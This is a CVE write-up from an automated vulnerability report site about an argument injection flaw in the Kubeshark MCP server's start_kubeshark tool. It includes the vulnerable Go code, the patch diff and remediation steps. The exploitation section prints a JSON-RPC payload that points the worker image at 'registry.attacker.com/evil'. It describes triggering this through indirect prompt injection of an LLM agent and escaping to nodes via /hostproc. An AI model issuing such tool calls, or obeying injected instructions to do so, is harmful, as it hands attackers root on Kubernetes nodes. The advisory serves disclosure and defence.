CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-129236

CVE-2026-129236: Command-Line Argument Injection in Kubeshark MCP Server

Alon Barad
Alon Barad
Software Engineer

Nov 17, 2026·11 min read·1 visit

Executive Summary (TL;DR)

A command-line argument injection flaw (CWE-88) in Kubeshark versions 53.1.0 through 53.3.0 allows attackers to pass arbitrary CLI flags via the pod_regex parameter in the start_kubeshark MCP tool. When the MCP server runs with --allow-destructive, injecting --set flags overrides the container image registry for Kubeshark's privileged worker DaemonSet, resulting in root-level code execution across Kubernetes cluster nodes.

CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.

Vulnerability Overview

Kubeshark is an API traffic analyzer for Kubernetes that uses eBPF and kernel-level probes to capture and inspect L4 and L7 network traffic across cluster nodes. Starting in version 53.1.0, Kubeshark introduced an integrated Model Context Protocol (MCP) server via the kubeshark mcp subcommand. This interface exposes Kubeshark capabilities as structured tools that Large Language Model (LLM) agents and external MCP clients can invoke over standard input/output or local inter-process communication.

By default, the Kubeshark MCP server exposes read-only observability tools for querying captured packets and flow metrics. However, operators can pass the --allow-destructive flag when launching the server to enable administrative lifecycle tools, specifically start_kubeshark and stop_kubeshark. These administrative tools allow connected AI agents to dynamically deploy and tear down the Kubeshark Hub, Front, and Worker DaemonSet components inside the target Kubernetes cluster.

CVE-2026-129236 (also tracked as GHSA-8vf2-hxg5-crqh) is a command-line argument injection vulnerability classified under CWE-88 (Improper Neutralization of Argument Delimiters in a Command). The flaw resides in cmd/mcpRunner.go within the callStartKubeshark method, which handles invocations of the start_kubeshark MCP tool. In Kubeshark versions 53.1.0 through 53.3.0, this function takes the user-controlled pod_regex tool parameter and appends it directly to the argument array passed to the internal kubeshark tap command execution routine.

Because the argument construction omits the POSIX end-of-options delimiter (--), the underlying command-line parser cannot distinguish between a positional regular expression operand and an option flag. An attacker who manipulates the pod_regex parameter—typically via indirect prompt injection against an LLM agent operating with --allow-destructive privileges—can inject --set flags to override internal Helm deployment variables. Overriding the container registry configuration directs the Kubernetes cluster to pull and execute an attacker-controlled container image within Kubeshark's privileged worker DaemonSet, leading to full cluster compromise.

Root Cause Analysis

The root cause of CVE-2026-129236 is the interaction between unvalidated positional argument insertion in callStartKubeshark and the default flag-parsing behavior of the spf13/cobra and spf13/pflag Go libraries. When kubeshark tap is invoked via the CLI or internally by the MCP runner, it expects an optional positional argument [POD REGEX] to filter which Kubernetes pods are targeted for traffic capture, alongside optional flags such as -n (namespaces), -s (release namespace), and --set (Helm configuration overrides).

Unlike traditional POSIX getopt implementations that halt option processing upon encountering the first non-option positional argument, spf13/pflag parses flags position-independently across the entire argument slice by default. Unless interspersed argument parsing is explicitly disabled or terminated by a double-dash (--) token, pflag inspects every element in the cmdArgs slice. Any token beginning with - or -- is extracted and processed as a flag, regardless of whether it was appended before or after other flags.

In cmd/mcpRunner.go, the callStartKubeshark handler constructs the argument slice cmdArgs starting with the subcommand "tap". It immediately checks if args["pod_regex"] is a non-empty string and appends it to cmdArgs. Subsequently, it appends -n if namespaces is present, -s if release_namespace is present, and finally --set headless=true to prevent the CLI from opening a local web browser during automated execution.

Because args["pod_regex"] is neither validated against leading hyphens nor isolated behind a -- delimiter, supplying a string such as --set=tap.docker.registry=registry.attacker.com/evil causes pflag to register a Helm value override instead of setting the [POD REGEX] operand. Furthermore, if the attacker provides space-separated flags or multiple --set directives (depending on how the MCP client or intermediate wrapper tokenizes or passes arguments, or via single-token --set=key=val syntax), pflag merges these values into the configuration slice used to render the Kubeshark Kubernetes manifests.

Code Analysis

In vulnerable versions of Kubeshark (v53.1.0 to v53.3.0), the callStartKubeshark function in cmd/mcpRunner.go assembled the command arguments sequentially, placing pod_regex directly after the "tap" subcommand token:

func (s *mcpServer) callStartKubeshark(args map[string]any) (string, bool) {
	// Build the kubeshark tap command
	cmdArgs := []string{"tap"}
 
	// VULNERABLE: pod_regex is appended directly without a "--" delimiter.
	// If v starts with "--", Cobra/pflag parses it as a CLI flag.
	if v, ok := args["pod_regex"].(string); ok && v != "" {
		cmdArgs = append(cmdArgs, v)
	}
 
	// Add namespaces if provided
	if v, ok := args["namespaces"].(string); ok && v != "" {
		cmdArgs = append(cmdArgs, "-n", v)
	}
 
	// Add release namespace if provided
	if v, ok := args["release_namespace"].(string); ok && v != "" {
		cmdArgs = append(cmdArgs, "-s", v)
	}
 
	// Execute the command in headless mode (no browser popup)
	cmdArgs = append(cmdArgs, "--set", "headless=true")

To remediate this vulnerability in Pull Request #1957 (commit a76a1920dc7587be700a17f1592f58a9512ad214), the maintainers modified callStartKubeshark to defer appending podRegex until all legitimate flags (-n, -s, and --set headless=true) have been added to cmdArgs. Once all flags are in place, the code appends the -- delimiter immediately prior to podRegex:

diff --git a/cmd/mcpRunner.go b/cmd/mcpRunner.go
index 42b23b9170..c439939ac3 100644
--- a/cmd/mcpRunner.go
+++ b/cmd/mcpRunner.go
@@ -940,11 +940,14 @@ func (s *mcpServer) callStartKubeshark(args map[string]any) (string, bool) {
 	// Build the kubeshark tap command
 	cmdArgs := []string{"tap"}
 
-	// Add pod regex if provided
-	if v, ok := args["pod_regex"].(string); ok && v != "" {
-		cmdArgs = append(cmdArgs, v)
-	}
+	// Capture the caller-supplied pod regex. It is appended LAST, after a "--"
+	// end-of-options separator (see below), so a value beginning with "-"
+	// (e.g. "--set=tap.docker.registry=...") can never be parsed as a flag by
+	// the 'tap' cobra command. See CWE-88 (argument injection).
+	podRegex, _ := args["pod_regex"].(string)
 
 	// Add namespaces if provided
 	if v, ok := args["namespaces"].(string); ok && v != "" {
@@ -955,6 +1025,13 @@ func (s *mcpServer) callStartKubeshark(args map[string]any) (string, bool) {
 	// Execute the command in headless mode (no browser popup)
 	cmdArgs = append(cmdArgs, "--set", "headless=true")
 
+	// Append the pod regex as a positional argument, guarded by "--" so it is
+	// always treated as the [POD REGEX] operand and never as a flag (CWE-88).
+	// This must come after every flag above.
+	if podRegex != "" {
+		cmdArgs = append(cmdArgs, "--", podRegex)
+	}
+
 	// Log progress to stderr (MCP clients can see this in their logs)
 	logProgress := func(msg string) {
 		_, _ = fmt.Fprintf(os.Stderr, "[kubeshark-mcp] %s\n", msg)

> [!NOTE] > Commit a76a1920dc7587be700a17f1592f58a9512ad214 also addressed a separate path traversal vulnerability (CWE-22) in the download_file MCP tool handler by introducing secureDownloadDest to confine file writes to a designated base directory.

From a fix completeness standpoint, placing -- before podRegex at the end of the argument slice completely neutralizes flag injection via pod_regex. Because cmdArgs is passed as a discrete []string slice rather than concatenated into a shell command string, podRegex occupies a single array element following --. However, it is worth noting that the namespaces and release_namespace parameters are still appended as cmdArgs = append(cmdArgs, "-n", v) and cmdArgs = append(cmdArgs, "-s", v). In spf13/pflag, when a flag takes a required string argument (-n or -s) and is passed as two separate slice elements ("-n", v), pflag consumes the next element v unconditionally as the value for -n or -s, even if v begins with --. Therefore, namespaces and release_namespace are not susceptible to the same standalone flag injection mechanic, making the fix in commit a76a1920dc7587be700a17f1592f58a9512ad214 effective against this vector.

Exploitation

Exploiting CVE-2026-129236 requires two primary preconditions. First, the Kubeshark MCP server must be launched with the --allow-destructive flag enabled (kubeshark mcp --allow-destructive), as the start_kubeshark tool is not registered or exposed in default read-only mode. Second, the attacker must be able to control or influence the arguments passed to the start_kubeshark MCP tool call. In practical deployments, this occurs via indirect prompt injection: an AI assistant or autonomous SRE agent connected to the MCP server processes untrusted external data (such as a crafted Kubernetes pod log, GitHub issue, or alert payload) that instructs the LLM to invoke start_kubeshark with specific parameters.

Because each element appended to cmdArgs from args["pod_regex"] is treated as a single token in the Go []string slice, an attacker cannot inject multiple space-separated flags unless the parser splits them, because pflag treats a single string containing spaces as one token. However, pflag natively supports the --flag=value syntax within a single token, and Helm's --set processor in Kubeshark supports comma-separated key-value pairs within a single --set invocation (e.g., --set=key1=val1,key2=val2).

To hijack the container image deployed by Kubeshark, the attacker crafts a JSON-RPC tools/call request (or induces the LLM agent to generate one) targeting start_kubeshark:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "start_kubeshark",
    "arguments": {
      "pod_regex": "--set=tap.docker.registry=registry.attacker.com/evil,tap.docker.tag=latest",
      "namespaces": "default"
    }
  }
}

When callStartKubeshark processes this payload, it constructs the following slice:

[]string{
  "tap",
  "--set=tap.docker.registry=registry.attacker.com/evil,tap.docker.tag=latest",
  "-n", "default",
  "--set", "headless=true",
}

When the tap command executes, Cobra parses both --set flags and applies the overrides to the embedded Helm chart values. Kubeshark then communicates with the Kubernetes API server using the operator's kubeconfig credentials to deploy the kubeshark-worker-daemon-set resource, pulling registry.attacker.com/evil/worker:latest onto every node in the cluster.

Impact Assessment

The security impact of CVE-2026-129236 is severe due to the architectural privileges required by Kubeshark's worker pods. To load eBPF programs into the Linux kernel and attach kprobes and raw network sockets across namespaces, the Kubeshark Worker DaemonSet (09-worker-daemon-set.yaml) is configured with elevated privileges by design.

Specifically, the worker pod specification includes:

  • securityContext.privileged: true on the worker container, granting all Linux capabilities (CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_SYS_PTRACE, etc.) and disabling seccomp and AppArmor profiles.
  • spec.template.spec.hostNetwork: true and dnsPolicy: ClusterFirstWithHostNet, placing the container directly in the node's root network namespace.
  • Direct hostPath volume mounts for /sys/fs/bpf and /proc (mounted at /hostproc).

When an attacker overrides tap.docker.registry to deploy a malicious worker image, that container executes as root with privileged: true and /proc access on every node in the Kubernetes cluster where the DaemonSet schedules pods. From inside the privileged container, the attacker can immediately escape to the underlying host operating system via /hostproc/1/root, read node-level kubelet client certificates, extract secrets across all namespaces, and establish persistent control over the entire Kubernetes control plane and worker fleet.

The vulnerability carries a CVSS v3.1 base score of 7.2 (CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H). The Attack Vector is Local (AV:L) because the MCP server communicates locally via stdio/IPC with the host agent, and Attack Complexity is High (AC:H) with Privileges Required High (PR:H) and User Interaction Required (UI:R) due to the requirement that --allow-destructive is explicitly enabled and an authorized agent or user is induced to invoke the tool. Because execution crosses the trust boundary from the local MCP client process into the Kubernetes cluster and underlying host nodes, the Scope is Changed (S:C), with High impact across Confidentiality, Integrity, and Availability (C:H/I:H/A:H).

Remediation

The primary remediation is to upgrade the Kubeshark CLI binary and associated deployment tooling to version v53.4.0 or later. Version 53.4.0 incorporates commit a76a1920dc7587be700a17f1592f58a9512ad214, which enforces the -- end-of-options delimiter before appending pod_regex in callStartKubeshark.

Operators can upgrade the Kubeshark CLI binary on Linux or macOS systems using the official release artifacts:

curl -Lo kubeshark https://github.com/kubeshark/kubeshark/releases/download/v53.4.0/kubeshark_$(uname -s)_$(uname -m)
chmod +x kubeshark && sudo mv kubeshark /usr/local/bin/
kubeshark version

If an immediate upgrade to v53.4.0 is not feasible, operators should apply the following operational mitigations:

  1. Disable Destructive MCP Tools: Remove the --allow-destructive flag from the kubeshark mcp invocation in MCP client configuration files (such as Claude Desktop claude_desktop_config.json, Cursor, or custom agent runners). Running kubeshark mcp with default flags restricts the server to read-only traffic analysis tools and disables start_kubeshark entirely.
  2. Enforce Human-in-the-Loop (HITL) Approval: Configure the MCP client or LLM orchestration framework to require explicit human review and approval before executing start_kubeshark, ensuring that prompt-injected --set parameters in pod_regex are inspected prior to execution.
  3. Enforce Kubernetes Image Registry Policies: Deploy a Kubernetes admission controller such as Kyverno or OPA Gatekeeper to restrict container images in the Kubeshark namespace (and cluster-wide) to trusted registries (e.g., docker.io/kubeshark/*). This prevents the Kubernetes API server from admitting DaemonSet pods referencing unauthorized external registries even if CLI arguments are manipulated:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-kubeshark-registries
spec:
  validationFailureAction: Enforce
  rules:
    - name: validate-kubeshark-registry
      match:
        resources:
          kinds:
            - Pod
            - DaemonSet
      validate:
        message: "Kubeshark images must originate from docker.io/kubeshark/"
        pattern:
          spec:
            containers:
              - image: "docker.io/kubeshark/*"

Official Patches

KubesharkPull Request #1957: mcp: confine download_file destination and harden start_kubeshark argument handling
KubesharkKubeshark v53.4.0 Release

Fix Analysis (1)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

Affected Systems

Kubeshark CLI (github.com/kubeshark/kubeshark) subcommand 'kubeshark mcp'

Affected Versions Detail

Product
Affected Versions
Fixed Version
Kubeshark
Kubeshark
>= 53.1.0, < 53.4.053.4.0
AttributeDetail
Vulnerability TypeCWE-88: Argument Injection
CVSS v3.1 Score7.2 High (AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H)
Affected Componentcmd/mcpRunner.go (callStartKubeshark)
Affected Versions>= 53.1.0, < 53.4.0
Patched Versionv53.4.0
Prerequisite Flagkubeshark mcp --allow-destructive
Cluster ImpactPrivileged DaemonSet Execution / Node Root Compromise
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1202Indirect Command Execution
Defense Evasion
T1610Deploy Container
Execution
T1611Escape to Host
Privilege Escalation
CWE-88
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a command string or argument list to execute an external command, but it does not neutralize or improperly neutralizes argument delimiters when processing untrusted input.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory detailing the '--set=tap.docker.registry=...' argument injection proof-of-concept via the start_kubeshark MCP tool.

Vulnerability Timeline

Vulnerability reported to Kubeshark maintainers by researcher novice-22 via coordinated disclosure.
2026-07-21
Fix commit a76a1920dc7587be700a17f1592f58a9512ad214 authored via Pull Request #1957.
2026-08-12
Kubeshark v53.4.0 released containing the security patch.
2026-08-13
GitHub Security Advisory GHSA-8vf2-hxg5-crqh and CVE-2026-129236 officially published.
2026-11-16

References & Sources

  • [1]GitHub Security Advisory GHSA-8vf2-hxg5-crqh
  • [2]Kubeshark Pull Request #1957
  • [3]Kubeshark Pull Request #1957 Patch File
  • [4]GitHub Fix Commit a76a1920dc7587be700a17f1592f58a9512ad214
  • [5]Kubeshark Release v53.4.0
  • [6]CVE-2026-129236 Record on CVE.org
  • [7]NVD Vulnerability Detail for CVE-2026-129236
  • [8]MITRE ATT&CK Search for CVE-2026-129236

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-129235
5.3

CVE-2026-129235: Arbitrary File Write and Argument Injection in Kubeshark MCP Server

Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.

Amit Schendel
Amit Schendel
2 views•10 min read
•about 3 hours ago•CVE-2026-129300
5.3

CVE-2026-129300: Uncaught Exception Denial of Service in SpamScope mail-parser

CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.

Alon Barad
Alon Barad
2 views•8 min read
•about 4 hours ago•CVE-2026-129301
6.5

CVE-2026-129301: Security Scanner Evasion and Batch Denial of Service in SpamScope mail-parser via Unhandled Attachment Exceptions

CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 5 hours ago•CVE-2026-129239
6.5

CVE-2026-129239: Privilege Escalation and Unauthorized Data Exposure in Directus SharesService

Directus versions prior to 12.3.1 contain an authorization bypass and privilege management flaw in the SharesService component. Authenticated non-administrative users with update permissions on the directus_shares collection can modify the user_created, role, item, and collection fields of an existing owned share. Because the update operation validates permissions solely against the pre-update record state without revalidating the modified fields, an attacker can reassign share ownership and role context to an administrator. Subsequent guest access using the share token derives administrative accountability, exposing restricted relational data.

Alon Barad
Alon Barad
3 views•10 min read
•about 6 hours ago•CVE-2026-88987
5.4

CVE-2026-88987: Stored Cross-Site Scripting via XHTML and XML Data URIs in Silverstripe Framework

CVE-2026-88987 (GHSA-qqrg-8jpm-8mph) is a stored Cross-Site Scripting (XSS) vulnerability in the Silverstripe Framework prior to version 6.2.13. The framework's HTML sanitization engine, XssSanitiser, relies on an incomplete regular expression denylist when filtering URI schemes in HTML attributes. Specifically, the sanitizer strips data:text/html URIs but fails to restrict executable XML and XHTML media types such as data:application/xhtml+xml, data:text/xml, and data:application/xml. An authenticated user with content creation privileges can embed crafted data URIs inside HTML attributes like iframe src or object data, leading to arbitrary JavaScript execution when the content is rendered by a victim's browser.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 7 hours ago•CVE-2026-88988
5.4

CVE-2026-88988: Stored Cross-Site Scripting via SVG Data URIs in Silverstripe Framework

A Stored Cross-Site Scripting (XSS) vulnerability exists in Silverstripe Framework versions prior to 6.2.13 within the SilverStripe\Core\XssSanitiser component. The HTML sanitizer fails to strip SVG data URIs (data:image/svg*) from dangerous HTML attributes such as href, src, lowsrc, and data. Authenticated CMS authors can persist crafted SVG data URIs in stored content, leading to arbitrary JavaScript execution in the browser context of users who view or interact with the rendered page.

Alon Barad
Alon Barad
4 views•9 min read